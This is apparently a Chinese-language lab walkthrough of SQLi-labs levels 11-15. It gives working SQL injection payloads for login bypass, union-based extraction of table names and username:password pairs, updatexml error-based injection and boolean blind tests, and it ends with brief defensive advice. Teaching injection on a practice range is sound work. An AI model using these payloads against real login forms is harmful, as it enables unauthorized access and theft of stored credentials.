SQLi-labs学习sql注入(四)
字数 1016 2025-09-01 11:26:03
SQL注入实战教学:SQLi-labs关卡11-15详解
环境准备
- 操作系统:Windows 7
- 部署工具:phpstudy2018
- 靶场环境:SQLi-labs
第11关:基于POST表单的单引号闭合注入
源码分析
$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
注入步骤
-
初步测试
- 输入1和1:页面提示登录失败,SQL执行正常
- 输入单引号:出现语法错误
- 输入双引号:无错误
- 结论:单引号闭合
-
构造万能密码
username: 1' or 1=1 # password: [任意或留空]1'闭合第一个单引号or 1=1构造恒真条件#注释掉后续语句
-
联合查询注入
- 获取数据库名:
1' union select 1,database() #- 获取表名:
1' union select 1,(select table_name from information_schema.tables where table_schema='security' limit 1,1) #或获取所有表名:
1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security') #- 获取字段名:
1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users') #- 提取数据:
1' union select 1,(select concat(username,':',password) from users limit 1,1) #
技术要点
- POST请求参数名需通过查看页面源码确认
- 浏览器会对特殊字符编码,可使用Hackbar或BurpSuite
- 多个参数用
&连接
第12关:双引号加括号闭合注入
注入步骤
- 测试单引号:无报错
- 测试双引号:出现报错,显示小括号
- 结论:
")闭合
注入方法
与第11关相同,只需将单引号替换为双引号加括号:
1") or 1=1 #
第13关:单引号加括号闭合的报错注入
注入步骤
-
测试闭合方式:
- 输入
1':报错显示小括号 - 结论:
')闭合
- 输入
-
报错注入:
- 获取数据库名:
1') and updatexml(1, concat(0x7e, database(), 0x7e), 1)#- 获取表名:
1') and updatexml(1, concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema='security'), 0x7e), 1)#- 获取字段名:
1') and updatexml(1, concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'), 0x7e), 1)#
第14关:双引号闭合的报错注入
注入步骤
- 测试闭合方式:双引号引起报错
- 结论:
"闭合 - 注入方法与第13关类似,使用双引号替代单引号加括号
第15关:布尔盲注
特点
- 只有"登录成功/失败"的简单反馈
- 无法直接获取数据
注入方法
-
测试闭合方式:
username: 1' or 1 -- a password: 1成功登录则确认单引号闭合
-
布尔盲注示例:
- 测试数据库长度:
1' or length(database())=8 -- a- 其他布尔盲注技术可依次类推
关键知识点总结
-
闭合方式判断:
- 单引号
' - 双引号
" - 单引号加括号
') - 双引号加括号
")
- 单引号
-
注入技术:
- 联合查询注入
- 报错注入(updatexml)
- 布尔盲注
-
MySQL特殊语法:
- 注释符号:
#、--(注意空格) - 信息查询:
information_schema数据库 - 字符串连接:
concat() - 分组连接:
group_concat()
- 注释符号:
-
POST注入注意事项:
- 参数名需查看源码确认
- 特殊字符会被浏览器编码
- 可使用工具直接发送原始POST数据
-
防御建议:
- 使用参数化查询
- 对输入进行严格过滤
- 最小权限原则
- 错误信息不直接返回给用户
通过这五个关卡的练习,可以掌握基本的SQL注入技术,包括不同闭合方式的判断、多种注入方法的应用,以及如何应对不同的页面反馈情况。